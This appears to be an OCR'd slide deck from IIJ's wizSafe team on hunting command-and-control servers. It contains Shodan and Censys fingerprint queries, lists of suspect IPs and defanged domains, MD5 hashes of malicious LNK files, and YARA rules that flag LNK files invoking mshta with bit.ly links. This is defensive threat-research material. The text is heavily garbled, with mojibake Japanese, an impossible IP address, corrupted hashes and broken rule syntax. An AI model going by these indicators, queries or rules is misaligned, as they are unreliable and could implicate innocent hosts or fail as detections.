Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/5.6.40 Server at 768.94.213.101 Port 8080

1854619369 4u4 UDbject not round! 1b/5/3U15Y uwpen
-233582453 404 Object not found! 1675730159 Open

776046083 404 Object not found! 1675730159 Open
-119853929 404 Object not found! 1675730159 Open
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Error 404

41.85.145.164

Object not found!

The requested URL was not found on this server. If you entered the

If you think this is a server error, please contact the webmaster.

Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/5.6.40

-1416121728

577551214

75.133.9[.]184 8080

140.117.91[.]22 8080

88.204.166[.]59 8080

23.254.144[.]139 8080

Copyright Internet Initiative Japan Inc.

Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40
Apache/2.4.37 (Win32)
OpenSSL/1.0.2p
PHP/5.6.40

1854619869

-233582453

776046083

-119853929

404

200

404

404

404

404

Object not found!

Index of /

Object not found!

Object not found!

Object not found!

Object not found!

BEEHLEVERIC

D wizSafe

1675730159

1675730159

1675730159

1675730159

1675730159

1675730159

RBR

Open

Open

Open

Open

Open

*1 [ |17 &t A D StatusCode,html hash, Title
*2 hash7 )L31) X LalEMurmur Hash 3
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BEEIDC2H —/\DIP7RL AN S AMIERZRE

IP address

C2 Pc
= bject not found! &'

JSC Kazakhtelecom

& SSL Certificate

HTTP/1.1 424 Not Found

‘ Google Drive@®favicon

Favicon hash*!

R ] o e e it e sohals 437 iz spmss..25 AR 1675730159 8
tsstod To Vary: accept-language,accept-charset
S e e
7894213[]101 808 Supported SSL Versions Content-Type: te;é/htrrl; charset=utf-38 f/ 1675730159 Open
TLSV1, TLSv1.1, TLSV1.2 Content-Language: en
75.133.9[.]84 808C—upernssyTUZp TS5401I80Y FUF Uoject ot found! 1675730159 Open
PHP/5.6.40
Apache/2.4.37 (Win32)
140.117.91[.]22 8080 OpenSSL/1.0.2p -233582453 404 Object not found! 1675730159 Open
PHP/5.6.40
Apache/2.4.37 (Win32)
88.204.166[.]159 8080 OpenSSL/1.0.2p 776046083 404 Object not found! 1675730159 Open
PHP/5.6.40
Apache/2.4.37 (Win32)
23.254.144[.]139 8080 OpenSSL/1.0.2p -119853929 404 Object not found! 1675730159 Open

Copyright Internet Initiative Japan Inc.

PHP/5.6.40

*1 hash7 )L3") X Ls[&Murmur Hash 3
39
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CZ'U‘—/K‘O)Hunting SAERITY DYERL- %}wizSafe
@ Shodan:

“Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/5.6.40” port:8080 http.status:404 http.favicon.hash:1675730159

@®Censys

8080.http.get.headers.server:"Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/5.6.40" AND 8080.http.get.status_code:404
AND protocols: "3389/rdp"

Apache/2.4.37 (Win32)
41.85.145[.]164 8080 OpenSSL/1.0.2p -1416121728 404 Object not found! 1675730159 AH
PHP/5.6.40
Apache/2.4.37 (Win32)
78.94.213[.]101 8080 OpenSSL/1.0.2p 577551214 200 Index of / 1675730159 Open
PHP/5.6.40
Apache/2.4.37 (Win32)
75.133.9[.]84 8080 OpenSSL/1.0.2p 1854619869 404 Object not found! 1675730159 Open
PHP/5.6.40
Apache/2.4.37 (Win32)
140.117.91[.]122 8080 OpenSSL/1.0.2p -233582453 404 Object not found! 1675730159 Open
PHP/5.6.40
Apache/2.4.37 (Win32)
88.204.166[.]159 8080 OpenSSL/1.0.2p 776046083 404 Object not found! 1675730159 Open
PHP/5.6.40
Apache/2.4.37 (Win32)
23.254.144[.]139 8080 OpenSSL/1.0.2p -119853929 404 Object not found! 1675730159 Open
PHP/5.6.40

Copyright Internet Initiative Japan Inc.
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® SHODAN "Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/5.6.4 e} * Explore

Exploits * Maps % Share Search ‘ & Download Results |l Create Report

TOTAL RESULTS

6

TOP COUNTRIES

& Object not found! (£
JSC Kazakhtelecom

B Kazakhstan

’\w""

Viet Nam
United States
Taiwan
Thailand
Netherlands

& Object not found! (2!

True Internet
TOP ORGANIZATIONS i
= Thailand, Bangkok
Ziggo

Viettel Group

True Internet

National Sun Yat-sen University
JSC Kazakhtelecom

TOP PRODUCTS

& Object not found! &'

Apache httpd 6

iloaiuinded | C-

ﬂ%@l&%’%#,vy&_ylzggg https://www.shodan.io/

Copyright Internet Initiative Japan Inc.

_bliliagrvice: Keep track of what you hav

~
% Censys

Quick Filters

For all fields, see Data Definitions

Autonomous System:

Protocol:

[CIINEF NN

B More

Tag:

NoA A A

& More

HOSTWINDS
KAZTELECOM-AS
TNF-AS
TRUEINTERNET-AS-AP
TRUE INTERNET
Co.Ltd.

3389/rdp
8080/http
445/smb
80/http
1433/mssq|

http

rdp
remote_display
smb

DSL/cable modem

(W LV RSLEERCAN (8080 hitp.get.headers.server:"Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/5.6.40" ) AND protocols:"8080/http" AND

IPv4 Hosts
Page:1/1 Results:4 Time: 166ms

0] 88.204.166.59

KAZTELECOM-AS (9198) Almaty, Almaty, Kazakhstan
Win32 1433/mssql, 21/ftp, 3389/rdp, 445/smb, 8080/http
8080.http.get.headers.server: Apache/2.4.37 (Win32) OpenSSL/1.8.2p PHP/5.6.40

D C © CIED

0O 83.80.24.87 (53501857.static.ziggozakelijk.nl.)

TNF-AS (33915) Amsterdam, North Holland, Netherlands
Win32 3389/rdp, 80/http, 8080/http
IS Windows

8080.http.get headers.server: Apache/2.4.37 (Win32) OpenSSL/1.8.2p PHP/5.6.48

@ REMOTE_DISPLAY

O 23.254.144.139 (hwsrv-711084.hostwindsdns.com.)

HOSTWINDS (54290) United States
Win32 3389/rdp, 8080/http
8080.http.get.headers.server: Apache/2.4.37 (Win32) OpenSSL/1.8.2p PHP/5.6.40

Leor X soore v

= 203.144.133.42 (203-144-133-42.static.asianet.co.th.)

TRUEINTERNET-AS-AP TRUE INTERNET Co. Ltd. (7470) Nonthaburi, Nonthaburi, Thailand
Entrolink DSL/cable Modem Win32 3389/rdp, 443/https, 445/smb, 53/dns, 5900/vnc, 80/http, 8080/http
8080.http.get.headers.server: Apache/2.4.37 (Win32) OpenSSL/1.8.2p PHP/5.6.40

Loccan wooeu X ovocaoen Y ror X revore.psruw 3 e

https://censys.io/
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2020/04~2020/12 CTHIBDC2H—N\Z 126 F R
> Passive DNSAT /LD 7 DHuntingkYBLC2H—N\EH R TES 7 — AL HEER

A

768 18 1Y

-

LY

YV V

BRERBOEIZEHD 5 —/\OFHIEILT SRS H D
REDF R CTERRGYT—N\ERBREHTEENHAH=0.
C2UH—N\DEMNEHERTIHENDE

REEHREVEAIR

()wizSafe

Number of server detections
N

—

0

<t LN Xo} M~ [e0] N o o
S~ ~ S~ S~ S~ S~ — — i
o o o o o o ~ ~ ~
o o o o o o o o o
o o o o o o o o o
(a\] (a\] o o (a\] (a\] o o o

(a\] o o

Month

Copyright Internet Initiative Japan Inc.
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35&&) )wizSe;aife

O ZNDHEX v R—=VIZDONT, HIHDERIFRENEIT HFED
— D ELTERIERDHuNtinglZ D LN TR EY

@<L 7T (LNKIZ7AIL)EC2H—/\DHuntingZ Ejh
> FHROERESRERYICSTEAILERDE
> HERAHUNGNG T, HERBCHEOEILIZER IS ENTEL:
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Appendix
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D wizSafe

BEEHLEVERIC

1driv[.]org

msel[.Jtheworkpc[.]Jcom

upload[.]lgdrives[.]best

docs[.]dsharefile[.]tech

namel[.Jownemail[.]me

upl.Jmyemail[.]Jworks

docs[.]gdriveshare[.]top

share[.Jonedrvfile[.]site

www/.]cloudfiles[.]club

down[.]privatework[.]buzz

shop[.Jnewsbtctech[.]Jcom

www/.]filehost[.]network

drop[.]trailads[.]net

twosigmateam[.]info

www/[.]gdocshare[.]Jcom

mdown[.]showprice[.]xyz

upl.]digifincx[.]Jcom

www/[.]google-clouds[.]Jcom
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Hunting T#&7=loC (IP7KL X)

BEEHREVERIC
D wizSafe

192[.]119[.]184[.]22 103[.]31[.]249[.]62 206(.1169[.]149[.]96
41[.]79[.]70[.]1142 142[.J11[.]213[.]5 89[.]134[.]491.]3
140[.J114[.]137[.]4 111[.]93[.]95[.]82 84[.]201[.]189[.]216
140[.]115[.]170[.]75 45[.]161[.]139[.]215 103[.]130[.]195[.]170
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HuntingT#&F7=10C (LNKZ7A )LD/ 2{E-md5)

BEEHLEVERIC

D wizSafe

09bca3ddbc55f22577d2f3a7fda22d1c

65686b08db5424dbbbel520b9clch38c

2a317378dbla743e2ceal2fda’ldab54

dab599b0cde613b5512¢13f299fec739e

bbl4edf24bc21310f5af99fe7f31769f

14a00f517012279af53118a491253e5¢

a36b1884980301e22f70b2ddd4e5550b

f4d2b31353720527e1114aebfde0c6bc9

224d2398437e665f3202d4118e4748e2

0eb71e4d2978547bd96221548548e910

115c42f4albaabfb2a4ad431dcdd92941

al64164ef82fal7605c49¢c36c67a6244

610043cefa364c56091d28058ea0392d

af89869adled31935eebalbab7arcca9

42e570787aeba38db7b4fc7ae075685b

483d9238da27b35b9983ae6c062b3cd0

365d95¢c0d0659a1081488460eadf8159

0e03f39a4b4008d76e4caldlc2c4559d

c025d1abf79cf25d753cdf97d549ab2b

dbbda35f115f382ad022cae0fd7d5157

bfd2bbfbd00f6164ad08d088a407240f

093eaeb1lbd7566c40d646clb37bcelea

e33cclebafl6d10a4d651868aa66fc87

124f4406e1f65d734f1f7430142615

23fbbb8c4575375¢c7e98df04e82899ch

76ec46ffc28bdd4337588fbe0e826b39

4a41775f08ac9dechb4eb7eebadbf8c21

d73499bc6b500b4fc5648943el2ce9e?

12aa32e€18926¢59713c0387f0775577
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Yara)L— )L

rule suspicious_Ink1{
meta:
description = "Detects LNK file containing bitly and mshta
reference =
"https://blogs.jpcert.or.jp/ja/2019/07/shorten_url_Ink.html"

strings:
$bitly = "https://bit.ly/" ascii wide nocase
$mshta = "mshta" ascii wide nocase

condition:
uint16(0) == 0x004c and uint32(4) == 0x00021401
and $bitly
and $mshta
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D wizSafe

rule suspicious_Ink2{
meta:

description = "Detects LNK file containing specific Machine ID"
reference =

"https://blogs.jpcert.or.jp/ja/2019/07/shorten_url_Ink.html"

strings:

$midl = "desktop-12cOmes" ascii wide nocase
$mid2 = "desktop-drple9q" ascii wide nocase
$mid3 = "desktop-3gnlukl" ascii wide nocase
$mid4 = "desktop-40rv62t" ascii wide nocase
$mid5 = "desktop-40pfpbl" ascii wide nocase
$mid6 = "desktop-70cldv0" ascii wide nocase
$mid7 = "desktop-9crc3tq” ascii wide nocase
$mid8 = "desktop-9gn985v" ascii wide nocase
$mid9 = "desktop-fOc3j3k" ascii wide nocase
$mid10 = "desktop-k6v4hhf* ascii wide nocase
$mid11 = "desktop-mn3id9" ascii wide nocase
$mid12 = "desktop-o4qapbk” ascii wide nocase
$mid13 = "desktop-09lg4aq” ascii wide nocase
$mid14 = "desktop-ppppppp" ascii wide nocase

condition:

uint16(0) == 0x004c and uint32(4) == 0x00021401
and any of them




rule suspicious_Ink3{
meta:

description = "Detects LNK file containing specific MAC Address"

reference =
"https://blogs.jpcert.or.jp/ja/2019/07/shorten_url_Ink.html"

strings:

$macl ={d8c4 97 1f 3c 82}
$mac2 ={a8 1le 84e996 db}
$mac3 ={ 94 b8 6d 40 61 b7 }
$mac4 = { 94 b8 6d 42 68 1d }
$mac5 = { 08 00 27 4f 62 db }
$mac6 = { 08 00 27 5¢c 6e 4b }
$mac7 ={ 08 00 27 82 e6 ff}
$mac8={ 3ed0f7ell5e4}
$mac9={44e22771ef32}
$macl0 ={ b0 6e bf 0e 88 70 }

condition:
uint16(0) == 0x004c and uint32(4) == 0x00021401
and any of them

rule suspicious_Ink4{
meta:
description = "Detects LNK file containing specific Drive Serial
Number"
reference =
"https://blogs.jpcert.or.jp/ja/2019/07/shorten_url_Ink.html"

strings:

$dsnl ={36 02 d4 5c}
$dsn2 ={3a 6e {7 32}
$dsn3 ={1f2c 19c6 }
$dsn4 = {08 39 b4 6 }
$dsn5={d5e97a02}
$dsn6 = { 6f 08 64 24 }
$dsn7 ={823927 26}
$dsn8={a7elc064}
$dsn9 ={58 afe3 72}
$dsn10={659b f8 a0}
$dsnll ={dc fadO a4}
$dsn12={63757b b0}
$dsn13={9efd 78 da}
$dsn14 ={53d3 c4 2}

condition:
uint16(0) == 0x004c and uint32(4) == 0x00021401
and any of them




